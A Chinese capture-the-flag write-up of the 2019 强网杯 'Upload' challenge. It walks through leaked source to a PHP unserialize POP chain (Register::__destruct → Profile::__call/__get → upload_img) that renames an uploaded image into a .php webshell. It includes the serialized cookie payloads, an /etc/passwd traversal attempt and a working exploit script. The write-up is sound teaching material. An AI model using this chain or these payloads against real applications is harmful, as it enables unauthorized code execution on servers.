[强网杯 2019]Upload
解题:
开局注册登录上去
经探测,发现可以上传png图片,同时上传目录可直接访问:
同时发现cookie
有序列化内容:
解码后得到:
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";N;}
上传png后,序列化变为:
a:5:{s:2:"ID";i:3;s:8:"username";s:5:"admin";s:5:"email";s:16:"508714634@qq.com";s:8:"password";s:32:"202cb962ac59075b964b07152d234b70";s:3:"img";s:79:"../upload/94d5c96a4aeb40339e4b82f2e87e066f/9455f1d638ff02cc6b7d657bf3afdcb7.png";}
尝试直接改序列化进行目录穿越
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";}
页面直接跳转至登录页面,猜测不能直接修改序列化内容。
根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露:
http://ce3b7ba2-a8d8-43a1-bc12-e08f16ddd566.node3.buuoj.cn/www.tar.gz
使用phpstorm打开后,首先发现存在两个断点hint
application/web/controller/Index.php
里的:
首先访问大部分页面例如index
都会调用login_check
方法。
该方法会先将传入的用户Profile
反序列化,而后到数据库中检查相关信息是否一致。
application/web/controller/Register.php
里的:
Register
的析构方法,估计是想判断注没注册,没注册的给调用check
也就是Index.php
的index
方法,也就是跳到主页了
然后看上传逻辑代码:
先查看是否登录,在判断文件是否为空,再解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。
其中操作
if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
跟进$this->filename_tmp
和$this->filename
,发现没有过滤等限制,唯一阻碍:
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
但我们可以通过直接GET请求,不进入该if判断。
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
同时该校验也可如法炮制,可直接通过设置类中属性进行bypass
,不进入if判断。
到此为止可得到类的部分构造:
public $checker=0;
public $filename_tmp='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png';
public $filename='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/w0s1np.php';
(注:该处路径是../public/upload/
,从代码@chdir("../public/upload");
可发现)
当该值进入upload_img函数后,即可利用copy成功复制出php文件。但是新的问题来了,如何通过反序列化直接调用upload_img函数。
而Profile
有_call
和_get
两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get
会直接从except
里找,_call
会调用自身的name
成员变量所指代的变量所指代的方法。
我们知道当对象调用不可访问属性时,就会自动触发__get
魔法方法,而在对象调用不可访问函数时,就会自动触发__call
魔法方法。
那么寻找触发方式可以发现文件web/controller/Register.php
,关键部分如下:
class Register extends Controller
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
我们可以让checker
为类Index
,然后调用不存在的index()
,就会触发__call
魔术方法:
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
而$name
就是index
,这里就调用了不存在属性index
,调用__get
魔术方法,从而变成return $this->except['index'];
那么我们只要在构造序列化时,将except
赋值为数组,如下:
public $except=array('index'=>'upload_img');
即可在类Register
进行__destruct()
时,成功触发upload_img
函数,进行文件复制和改名。
综合上述pop链,我们可以构造如下exp:
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/94d5c96a4aeb40339e4b82f2e87e066f/d87883d1ce82819ff448e297d525881e.png";
public $filename="../public/upload/94d5c96a4aeb40339e4b82f2e87e066f/w0s1np.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
注意这里需要改了cookie
多去刷新下
然后连蚂蚁的剑,就可以了
参考:
https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/
膜死sky师傅了,可惜不认识,其实很想认识这位师傅